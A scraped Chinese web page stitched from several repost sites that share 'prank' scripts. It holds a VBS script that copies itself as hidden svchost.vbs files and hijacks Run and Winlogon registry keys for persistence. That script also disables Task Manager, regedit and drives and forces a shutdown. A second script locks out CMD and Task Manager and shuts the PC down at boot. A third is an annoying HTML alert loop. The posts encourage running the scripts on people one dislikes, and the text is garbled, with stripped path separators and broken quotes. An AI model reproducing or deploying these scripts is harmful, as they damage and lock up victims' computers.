[转载]一个简单的vbs整人代码（别轻易用，没还原卡的
你只要用txt文本把下面的代码保存好，再重命名为.vbs或.vbe结尾的后缀即可：
Set objFS =
CreateObject("Scripting.FileSystemObject")
Set objFSO =
CreateObject("Scripting.FileSystemObject")
wsh=wscript.createobject("wscript.shell")
reg=wscript.createobject("wscript.shell")
a=WScript.ScriptFullName
b="shutdown -t 60 -s -c
如果你是菜鸟的话。。。我想你知道害怕了吧！嬉嬉！"
c="c:svchost.vbs"
d="d:svchost.vbs"
s="c:windowssystem32svchost.vbs"
c1="attrib +s +h +a +r
c:svchost.vbs"
d1="attrib +s +h +a +r
d:svchost.vbs"
s1="attrib +s +h +a +r
c:windowssystem32svchost.vbs"
If objFSO.FileExists (c) Then
objFs.GetFile (a).Copy (c)
wsh.run c1
If objFSO.FileExists(d) Then
objFs.GetFile (a).Copy (d)
wsh.run d1
If objFSO.FileExists(s) Then
objFs.GetFile (a).Copy (s)
wsh.run s1
wsh.run "narrator"
reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools","","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr","","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoRun","","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoClose","","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoLogoff","","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoDesktop","","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoDrives","","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunsvchost","c:svchost.vbs","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunsvchost","d:svchost.vbs","REG_SZ"
reg.regwrite"HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunServicessvchost","c:windowssystem32svchost.vbs","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServicessvchost","c:windowssystem32svchost.vbs","REG_SZ"
reg.regwrite"HKEY_CURRENT_USERControl
PanelInternationalsTimeFormat","tttt H:mm:ss","REG_SZ"
reg.regwrite"HKEY_CURRENT_USERControl
PanelInternationals1159","笨蛋！","REG_SZ"
reg.regwrite"HKEY_CURRENT_USERControl
PanelInternationals2359","傻逼！","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows
NTCurrentVersionWinlogonshell","c:windowssystem32svchost.vbs","REG_SZ"
"系统快要崩溃了！",48,"由于你经常看黄页："
msgbox "windows崩溃了！",18,"安全警报："
wsh.run ("ping -t -l 6500
192.168.1.1")
切记别轻易用哦，除非你跟他有什么“深仇大恨”就可以整整他。
以上网友发言只代表其个人观点，不代表新浪网的观点或立场。VBS整人代码大集合--真的很全很全很强大_百度文库
两大类热门资源免费畅读
续费一年阅读会员，立省24元！
文档贡献者
评价文档：
VBS整人代码大集合--真的很全很全很强大
大​家​低​调​点​用
大小：11.88KB
登录百度文库，专享文档复制特权，财富值每天免费拿！
你可能喜欢当前位置：&>&&>&
vbs整人代码-2009QQ整人代码
发布时间：编辑：
vbs整人代码-2009QQ整人代码，聪明的，你懂的。将以下代码保存为xxx.vbe，然后双击运行，效果大大的
复制代码 代码示例:
set s=createobject(&wscript.&)
set bag=getobject(&winmgmts:\\.\root\cimv2&)
set pipe=bag.execquery(&select * from win32_process where name='wscript.exe'&)
For Each id in pipe
if instr(mandLine,wscript.scriptfullname)&&0 and pipe.count&=2 then
s.regwrite&HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr&,0,&REG_DWORD&
s.regwrite&HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD&,0,&REG_DWORD&
id.terminate()
s.regwrite&HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr&,1,&REG_DWORD&
s.regwrite&HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD&,1,&REG_DWORD&
for i=1 to 60
s.popup&系统将在&& 60-i &&秒后关机...&,1,&系统提示&,4096+48
Set colOS = GetObject(&winmgmts:{(Shutdown)}&).ExecQuery(&Select * FROM Win32_OperatingSystem&)
For Each eOs In colOS
eOs.Win32Shutdown(2)
说明一下哈，此代码的威力：
1：开机就强制自动关机
2：cmd命令打不开
3：结束任务不管用
4：F8安全模式也不管用
代码破解方法：再运行一次，即可以破解了，即第2次保存的那个VBE文件。
对他手下莫留情，用vbs整人代码，吓哭他，哈哈。
与 vbs整人代码-2009QQ整人代码 有关的文章
本文标题：
本页链接：
12345678910
12345678910当前位置：&>&&>&
vbs恶作剧(整人代码)-网页整人效果
发布时间：编辑：
vbs恶作剧(整人代码)-网页整人效果，点到他想吐，哈哈。将以下代码保存为 xxx.html，双击执行就可以啦。
复制代码 代码示例:
&meta http-equiv=&Content-Type& content=&text/ charset=gb2312&&
&title&很恶心的整人效果&/title&
&a href=&& onMouseover=&alert('为什么把鼠标放到这里?');
alert('我不是说过不可以这样吗？');
alert('你把我的话当什么了？');
alert('你知道错了吗？');
alert('什么？你居然....');
alert('居然还没意识到自己做错了？');
alert('那好，你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么？你开始有点后悔了？');
alert('何必呢？');
alert('你当初干什么去了？');
alert('不原谅你！');
alert('好从现在开始再点995下......');
alert('你的手开始累了吗?');
alert('什么？你已经没力气了？');
alert('你一直在求我原谅你啊！');
alert('看来你是真的知道错了!');
alert('下次你还会这么做吗？');
alert('真的不会了？');
alert('那好，今天就放你一马！');
alert('写封信给我说声对不起!');
alert('你能这么做我很高兴!!!');
document.bgColor='black';
document.fgColor='White';
window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';&&不许把鼠标移到这里&/a&
好爽啊，哈哈!!!
与 vbs恶作剧(整人代码)-网页整人效果 有关的文章
本文标题：
本页链接：
12345678910}